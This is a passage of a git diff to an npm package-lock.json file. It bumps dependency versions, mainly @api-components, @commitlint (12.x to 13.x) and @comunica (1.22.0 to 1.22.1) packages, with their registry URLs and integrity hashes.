"^4.3.4", - "lit-element": "^2.3.1", - "lit-html": "^1.2.1" - } - }, - "@api-components/api-summary": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/@api-components/api-summary/-/api-summary-4.6.2.tgz", - "integrity": "sha512-j71vuwYahXK6Kt2JjwHPO549jGNsi+FycX+PxYbh+NP69dRrPTpKtmt/+Ww0GVgPIwxedQy3nJnG1nYJkV8d8Q==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.2", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-method-documentation": "^5.2.5", - "@api-components/http-method-label": "^3.1.4", - "@api-components/raml-aware": "^3.0.0", - "dompurify": "^2.3.1", - "lit-element": "^2.5.1", - "lit-html": "^1.4.1" - } - }, - "@api-components/api-type-document": { - "version": "4.2.15", - "resolved": "https://registry.npmjs.org/@api-components/api-type-document/-/api-type-document-4.2.15.tgz", - "integrity": "sha512-yR1Pmzknw1w33jOqbKeFA9qWRAtNLWlSW9bdpH2v6WclkBxELFyzEgc+87DC6xtuOhhIdTgXkMOgw9PF5ttENg==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.0", - "@advanced-rest-client/markdown-styles": "^3.1.4", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-annotation-document": "^4.1.0", - "@api-components/api-resource-example-document": "^4.1.2", - "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0" - } - }, - "@api-components/api-type-documentation": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/@api-components/api-type-documentation/-/api-type-documentation-4.2.1.tgz", - "integrity": "sha512-jQAaru9Asrl/bc+XCvg0q2MfB3UsovPldHVU+ZKdO0iwHuimx++qrXijsJ5DWrWgK/MYi2uGHuD9wDz8dejw7Q==", - "requires": { - "@advanced-rest-client/arc-marked": "^1.1.2", - "@advanced-rest-client/markdown-styles": "^3.1.5", - "@api-components/amf-helper-mixin": "^4.4.0", - "@api-components/api-annotation-document": "^4.2.0", - "@api-components/api-resource-example-document": "^4.3.2", - "@api-components/api-schema-document": "^4.3.0", - "@api-components/api-type-document": "^4.2.13", - "lit-element": "^2.5.1" - } - }, - "@api-components/api-url": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/@api-components/api-url/-/api-url-0.1.12.tgz", - "integrity": "sha512-1YfQrr1F6O/OSr+f5ouRfvTwjVka2D1P8rWBCnqqLoQgf/98xnzGQgvU/rEEJPm3byth22PF2vEWKCxP93S7Sg==", + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/@api-components/api-server-selector/-/api-server-selector-0.7.1.tgz", + "integrity": "sha512-44q6i08RPsgXKAgn1QimvanAxKXPnZzAxiFGwDBc023S4IapCCrSujj/quYwAYCgr+wLnkrJ2+iCOFLEKigWVg==", "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@advanced-rest-client/arc-types": "^0.2.53", - "@advanced-rest-client/events-target-mixin": "^3.2.4", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-input": "^0.2.26", - "@anypoint-web-components/anypoint-switch": "^0.1.10", - "@anypoint-web-components/validatable-mixin": "^1.1.3", - "@api-components/amf-helper-mixin": "^4.4.1", - "@api-components/api-forms": "^0.2.4", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-dropdown": "^1.1.6", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-input": "^0.2.27", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@api-components/amf-helper-mixin": "^4.5.4", "lit-element": "^2.5.1", "lit-html": "^1.4.1" } }, - "@api-components/api-view-model-transformer": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@api-components/api-view-model-transformer/-/api-view-model-transformer-4.2.2.tgz", - "integrity": "sha512-R+qrjx4daChcuILXMdj3v81iv37WdH2UzeyPhc31pmMY4G3NbOkHE5qmv+2DVB11uPTabjQhFHu2qEuQ+yVHBA==", - "requires": { - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@api-components/amf-helper-mixin": "^4.2.0", - "@api-components/api-example-generator": "^4.4.5", - "lit-element": "^2.4.0" - } - }, "@api-components/http-method-label": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.4.tgz", @@ -1281,7 +746,8 @@ "@api-components/raml-aware": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@api-components/raml-aware/-/raml-aware-3.0.0.tgz", - "integrity": "sha512-lWIjd8Wq6tYJmF8ZXyUgQdGq+vhXP7pKY/QcPQdKOn2IXb4/gqTglebtXnxjME41+uKSPQoMSKTEVT/PwX93qQ==" + "integrity": "sha512-lWIjd8Wq6tYJmF8ZXyUgQdGq+vhXP7pKY/QcPQdKOn2IXb4/gqTglebtXnxjME41+uKSPQoMSKTEVT/PwX93qQ==", + "dev": true }, "@babel/code-frame": { "version": "7.14.5", @@ -1293,9 +759,9 @@ } }, "@babel/helper-validator-identifier": { - "version": "7.14.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.14.9.tgz", - "integrity": "sha512-pQYxPY0UP6IHISRitNe8bsijHex4TWZXi2HwKVsjPiltzlhse2znVcm9Ace510VT1kxIHjGJCZZQBX2gJDbo0g==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { @@ -1366,236 +832,127 @@ } }, "@commitlint/cli": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-12.1.4.tgz", - "integrity": "sha512-ZR1WjXLvqEffYyBPT0XdnSxtt3Ty1TMoujEtseW5o3vPnkA1UNashAMjQVg/oELqfaiAMnDw8SERPMN0e/0kLg==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.1.0.tgz", + "integrity": "sha512-xN/uNYWtGTva5OMSd+xA6e6/c2jk8av7MUbdd6w2cw89u6z3fAWoyiH87X0ewdSMNYmW/6B3L/2dIVGHRDID5w==", "dev": true, "requires": { - "@commitlint/format": "^12.1.4", - "@commitlint/lint": "^12.1.4", - "@commitlint/load": "^12.1.4", - "@commitlint/read": "^12.1.4", - "@commitlint/types": "^12.1.4", + "@commitlint/format": "^13.1.0", + "@commitlint/lint": "^13.1.0", + "@commitlint/load": "^13.1.0", + "@commitlint/read": "^13.1.0", + "@commitlint/types": "^13.1.0", "lodash": "^4.17.19", "resolve-from": "5.0.0", "resolve-global": "1.0.0", - "yargs": "^16.2.0" - }, - "dependencies": { - "yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", - "dev": true, - "requires": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" - } - } + "yargs": "^17.0.0" } }, "@commitlint/config-conventional": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-12.1.4.tgz", - "integrity": "sha512-ZIdzmdy4o4WyqywMEpprRCrehjCSQrHkaRTVZV411GyLigFQHlEBSJITAihLAWe88Qy/8SyoIe5uKvAsV5vRqQ==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-13.1.0.tgz", + "integrity": "sha512-zukJXqdr6jtMiVRy3tTHmwgKcUMGfqKDEskRigc5W3k2aYF4gBAtCEjMAJGZgSQE4DMcHeok0pEV2ANmTpb0cw==", "dev": true, "requires": { "conventional-changelog-conventionalcommits": "^4.3.1" } }, - "@commitlint/ensure": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-12.1.4.tgz", - "integrity": "sha512-MxHIBuAG9M4xl33qUfIeMSasbv3ktK0W+iygldBxZOL4QSYC2Gn66pZAQMnV9o3V+sVFHoAK2XUKqBAYrgbEqw==", - "dev": true, - "requires": { - "@commitlint/types": "^12.1.4", - "lodash": "^4.17.19" - } - }, - "@commitlint/execute-rule": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-12.1.4.tgz", - "integrity": "sha512-h2S1j8SXyNeABb27q2Ok2vD1WfxJiXvOttKuRA9Or7LN6OQoC/KtT3844CIhhWNteNMu/wE0gkTqGxDVAnJiHg==", - "dev": true - }, - "@commitlint/format": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-12.1.4.tgz", - "integrity": "sha512-h28ucMaoRjVvvgS6Bdf85fa/+ZZ/iu1aeWGCpURnQV7/rrVjkhNSjZwGlCOUd5kDV1EnZ5XdI7L18SUpRjs26g==", - "dev": true, - "requires": { - "@commitlint/types": "^12.1.4", - "chalk": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } + "@commitlint/ensure": { + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-13.1.0.tgz", + "integrity": "sha512-NRGyjOdZQnlYwm9it//BZJ2Vm+4x7G9rEnHpLCvNKYY0c6RA8Qf7hamLAB8dWO12RLuFt06JaOpHZoTt/gHutA==", + "dev": true, + "requires": { + "@commitlint/types": "^13.1.0", + "lodash": "^4.17.19" + } + }, + "@commitlint/execute-rule": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-13.0.0.tgz", + "integrity": "sha512-lBz2bJhNAgkkU/rFMAw3XBNujbxhxlaFHY3lfKB/MxpAa+pIfmWB3ig9i1VKe0wCvujk02O0WiMleNaRn2KJqw==", + "dev": true + }, + "@commitlint/format": { + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-13.1.0.tgz", + "integrity": "sha512-n46rYvzf+6Sm99TJjTLjJBkjm6JVcklt31lDO5Q+pCIV0NnJ4qIUcwa6wIL9a9Vqb1XzlMgtp27E0zyYArkvSg==", + "dev": true, + "requires": { + "@commitlint/types": "^13.1.0", + "chalk": "^4.0.0" } }, "@commitlint/is-ignored": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-12.1.4.tgz", - "integrity": "sha512-uTu2jQU2SKvtIRVLOzMQo3KxDtO+iJ1p0olmncwrqy4AfPLgwoyCP2CiULq5M7xpR3+dE3hBlZXbZTQbD7ycIw==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-13.1.0.tgz", + "integrity": "sha512-P6zenLE5Tn3FTNjRzmL9+/KooTXEI0khA2TmUbuei9KiycemeO4q7Xk7w7aXwFPNAbN0O9oI7z3z7cFpzKJWmQ==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.1.0", "semver": "7.3.5" } }, "@commitlint/lint": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-12.1.4.tgz", - "integrity": "sha512-1kZ8YDp4to47oIPFELUFGLiLumtPNKJigPFDuHt2+f3Q3IKdQ0uk53n3CPl4uoyso/Og/EZvb1mXjFR/Yce4cA==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-13.1.0.tgz", + "integrity": "sha512-qH9AYSQDDTaSWSdtOvB3G1RdPpcYSgddAdFYqpFewlKQ1GJj/L+sM7vwqCG7/ip6AiM04Sry1sgmFzaEoFREUA==", "dev": true, "requires": { - "@commitlint/is-ignored": "^12.1.4", - "@commitlint/parse": "^12.1.4", - "@commitlint/rules": "^12.1.4", - "@commitlint/types": "^12.1.4" + "@commitlint/is-ignored": "^13.1.0", + "@commitlint/parse": "^13.1.0", + "@commitlint/rules": "^13.1.0", + "@commitlint/types": "^13.1.0" } }, "@commitlint/load": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-12.1.4.tgz", - "integrity": "sha512-Keszi0IOjRzKfxT+qES/n+KZyLrxy79RQz8wWgssCboYjKEp+wC+fLCgbiMCYjI5k31CIzIOq/16J7Ycr0C0EA==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.1.0.tgz", + "integrity": "sha512-zlZbjJCWnWmBOSwTXis8H7I6pYk6JbDwOCuARA6B9Y/qt2PD+NCo0E/7EuaaFoxjHl+o56QR5QttuMBrf+BJzg==", "dev": true, "requires": { - "@commitlint/execute-rule": "^12.1.4", - "@commitlint/resolve-extends": "^12.1.4", - "@commitlint/types": "^12.1.4", + "@commitlint/execute-rule": "^13.0.0", + "@commitlint/resolve-extends": "^13.0.0", + "@commitlint/types": "^13.1.0", "chalk": "^4.0.0", "cosmiconfig": "^7.0.0", "lodash": "^4.17.19", "resolve-from": "^5.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@commitlint/message": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-12.1.4.tgz", - "integrity": "sha512-6QhalEKsKQ/Y16/cTk5NH4iByz26fqws2ub+AinHPtM7Io0jy4e3rym9iE+TkEqiqWZlUigZnTwbPvRJeSUBaA==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-13.0.0.tgz", + "integrity": "sha512-W/pxhesVEk8747BEWJ+VGQ9ILHmCV27/pEwJ0hGny1wqVquUR8SxvScRCbUjHCB1YtWX4dEnOPXOS9CLH/CX7A==", "dev": true }, "@commitlint/parse": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-12.1.4.tgz", - "integrity": "sha512-yqKSAsK2V4X/HaLb/yYdrzs6oD/G48Ilt0EJ2Mp6RJeWYxG14w/Out6JrneWnr/cpzemyN5hExOg6+TB19H/Lw==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-13.1.0.tgz", + "integrity": "sha512-xFybZcqBiKVjt6vTStvQkySWEUYPI0AcO4QQELyy29o8EzYZqWkhUfrb7K61fWiHsplWL1iL6F3qCLoxSgTcrg==", "dev": true, "requires": { - "@commitlint/types": "^12.1.4", + "@commitlint/types": "^13.1.0", "conventional-changelog-angular": "^5.0.11", "conventional-commits-parser": "^3.0.0" } }, "@commitlint/read": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-12.1.4.tgz", - "integrity": "sha512-TnPQSJgD8Aod5Xeo9W4SaYKRZmIahukjcCWJ2s5zb3ZYSmj6C85YD9cR5vlRyrZjj78ItLUV/X4FMWWVIS38Jg==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-13.1.0.tgz", + "integrity": "sha512-NrVe23GMKyL6i1yDJD8IpqCBzhzoS3wtLfDj8QBzc01Ov1cYBmDojzvBklypGb+MLJM1NbzmRM4PR5pNX0U/NQ==", "dev": true, "requires": { - "@commitlint/top-level": "^12.1.4", - "@commitlint/types": "^12.1.4", - "fs-extra": "^9.0.0", + "@commitlint/top-level": "^13.0.0", + "@commitlint/types": "^13.1.0", + "fs-extra": "^10.0.0", "git-raw-commits": "^2.0.0" - }, - "dependencies": { - "fs-extra": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", - "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", - "dev": true, - "requires": { - "at-least-node": "^1.0.0", - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - } - }, - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "@commitlint/resolve-extends": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-12.1.4.tgz", - "integrity": "sha512-R9CoUtsXLd6KSCfsZly04grsH6JVnWFmVtWgWs1KdDpdV+G3TSs37tColMFqglpkx3dsWu8dsPD56+D9YnJfqg==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-13.0.0.tgz", + "integrity": "sha512-1SyaE+UOsYTkQlTPUOoj4NwxQhGFtYildVS/d0TJuK8a9uAJLw7bhCLH2PEeH5cC2D1do4Eqhx/3bLDrSLH3hg==", "dev": true, "requires": { "import-fresh": "^3.0.0", @@ -1605,27 +962,28 @@ } }, "@commitlint/rules": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-12.1.4.tgz", - "integrity": "sha512-W8m6ZSjg7RuIsIfzQiFHa48X5mcPXeKT9yjBxVmjHvYfS2FDBf1VxCQ7vO0JTVIdV4ohjZ0eKg/wxxUuZHJAZg==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-13.1.0.tgz", + "integrity": "sha512-b6F+vBqEXsHVghrhomG0Y6YJimHZqkzZ0n5QEpk03dpBXH2OnsezpTw5e+GvbyYCc7PutGbYVQkytuv+7xCxYA==", "dev": true, "requires": { - "@commitlint/ensure": "^12.1.4", - "@commitlint/message": "^12.1.4", - "@commitlint/to-lines": "^12.1.4", - "@commitlint/types": "^12.1.4" + "@commitlint/ensure": "^13.1.0", + "@commitlint/message": "^13.0.0", + "@commitlint/to-lines": "^13.0.0", + "@commitlint/types": "^13.1.0", + "execa": "^5.0.0" } }, "@commitlint/to-lines": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-12.1.4.tgz", - "integrity": "sha512-TParumvbi8bdx3EdLXz2MaX+e15ZgoCqNUgqHsRLwyqLUTRbqCVkzrfadG1UcMQk8/d5aMbb327ZKG3Q4BRorw==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-13.0.0.tgz", + "integrity": "sha512-mzxWwCio1M4/kG9/69TTYqrraQ66LmtJCYTzAZdZ2eJX3I5w52pSjyP/DJzAUVmmJCYf2Kw3s+RtNVShtnZ+Rw==", "dev": true }, "@commitlint/top-level": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-12.1.4.tgz", - "integrity": "sha512-d4lTJrOT/dXlpY+NIt4CUl77ciEzYeNVc0VFgUQ6VA+b1rqYD2/VWFjBlWVOrklxtSDeKyuEhs36RGrppEFAvg==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-13.0.0.tgz", + "integrity": "sha512-baBy3MZBF28sR93yFezd4a5TdHsbXaakeladfHK9dOcGdXo9oQe3GS5hP3BmlN680D6AiQSN7QPgEJgrNUWUCg==", "dev": true, "requires": { "find-up": "^5.0.0" @@ -1671,48 +1029,12 @@ } }, "@commitlint/types": { - "version": "12.1.4", - "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-12.1.4.tgz", - "integrity": "sha512-KRIjdnWNUx6ywz+SJvjmNCbQKcKP6KArhjZhY2l+CWKxak0d77SOjggkMwFTiSgLODOwmuLTbarR2ZfWPiPMlw==", + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-13.1.0.tgz", + "integrity": "sha512-zcVjuT+OfKt8h91vhBxt05RMcTGEx6DM7Q9QZeuMbXFk6xgbsSEDMMapbJPA1bCZ81fa/1OQBijSYPrKvtt06g==", "dev": true, "requires": { "chalk": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@comunica/actor-abstract-bindings-hash": { @@ -1758,9 +1080,9 @@ } }, "@comunica/actor-http-memento": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-memento/-/actor-http-memento-1.22.0.tgz", - "integrity": "sha512-50of2qrZcXw135hrhuPiOSeMxryNU8xcAI9ksC3qmI7Kv4haDgvnvYa7RvwW91dENTcIpKVqXwMnHTPWY3XtVw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-memento/-/actor-http-memento-1.22.1.tgz", + "integrity": "sha512-H10dWC+RA/xkhORKBMUIw133PxKXmo8ByEeYgbV3QplyeZ5+Wv+0hh+Icil4rC5rsqcpW+iU2TZGK6vfsTQpMQ==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1770,9 +1092,9 @@ } }, "@comunica/actor-http-native": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-native/-/actor-http-native-1.22.0.tgz", - "integrity": "sha512-4EUY+iCnq51vzX850JnV2nZpgtM3G29spy/SMjBx9xZ4snU4AHACZifDm1jkos60wxEzoP89iagcztcRrv71kA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-native/-/actor-http-native-1.22.1.tgz", + "integrity": "sha512-BdB+hvQ9CJF9tI42hNhcvTMagOty+jw21LIQDJWI628xMcXZ88BJaUX0Ulc7g2nrWH97ZRm5+KjLC4Zf+OGwZg==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1783,9 +1105,9 @@ } }, "@comunica/actor-http-node-fetch": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.0.tgz", - "integrity": "sha512-zix3mtZOsZfH9uhSYKoPPVrGOu8Pay2cG1pJsQvu/GyghPSNpEGHXZIz7mSKLr9kFuhnA2+0FVrf4tXFLmrIMA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.1.tgz", + "integrity": "sha512-ZnIhji5Q5eMpz8L3kw8E6T/A1XIfdhRIXQ3/tTmtyoMeOkzAvBk3VyONFsR21vmm1uVrmMjet8iFtHzNixctMA==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -1793,24 +1115,24 @@ } }, "@comunica/actor-http-proxy": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-http-proxy/-/actor-http-proxy-1.22.0.tgz", - "integrity": "sha512-9kFk1caCLeV2P9CemYCVFKf//qiuQT+K8OsyTwH/CInvMEHzqJrKWfyLTQq1zhFMa4oT3Kw6NSS+K2FbUozo+A==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-http-proxy/-/actor-http-proxy-1.22.1.tgz", + "integrity": "sha512-q8Dil+MnKeZWKNxLLDXan070TUP+8io7zwwCs5apvaU26ghojBU4OOJx1vL6CInUjZCzTeyCYVPsBbvykjLZ2w==", "dev": true }, "@comunica/actor-init-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.0.tgz", - "integrity": "sha512-ZOWi/ldBxSyAPNO4pPNqOs6KKvkDikhYuggPMI7DvSPou7M8+HJtsqJRFk/rbFIt8XQjB5ssWIPcrLl1xcGMcA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.1.tgz", + "integrity": "sha512-ZMFwJX1PNNVcWh0aKpawwyrTARlE+sKyMNvXD5ie3rwyhmrHXdEsUxDg6HWFaLtAGPfvcgufKRnxX9p/nOgkJw==", "dev": true, "requires": { "@comunica/actor-abstract-bindings-hash": "^1.22.0", "@comunica/actor-abstract-mediatyped": "^1.22.0", "@comunica/actor-context-preprocess-source-to-destination": "^1.22.0", - "@comunica/actor-http-memento": "^1.22.0", - "@comunica/actor-http-native": "^1.22.0", - "@comunica/actor-http-node-fetch": "^1.22.0", - "@comunica/actor-http-proxy": "^1.22.0", + "@comunica/actor-http-memento": "^1.22.1", + "@comunica/actor-http-native": "^1.22.1", + "@comunica/actor-http-node-fetch": "^1.22.1", + "@comunica/actor-http-proxy": "^1.22.1", "@comunica/actor-optimize-query-operation-join-bgp": "^1.22.0", "@comunica/actor-query-operation-ask": "^1.22.0", "@comunica/actor-query-operation-bgp-empty": "^1.22.0", @@ -1842,7 +1164,7 @@ "@comunica/actor-query-operation-reduced-hash": "^1.22.0", "@comunica/actor-query-operation-service": "^1.22.0", "@comunica/actor-query-operation-slice": "^1.22.0", - "@comunica/actor-query-operation-sparql-endpoint": "^1.22.0", + "@comunica/actor-query-operation-sparql-endpoint": "^1.22.1", "@comunica/actor-query-operation-union": "^1.22.0", "@comunica/actor-query-operation-update-add-rewrite": "^1.22.0", "@comunica/actor-query-operation-update-clear": "^1.22.0", @@ -1855,7 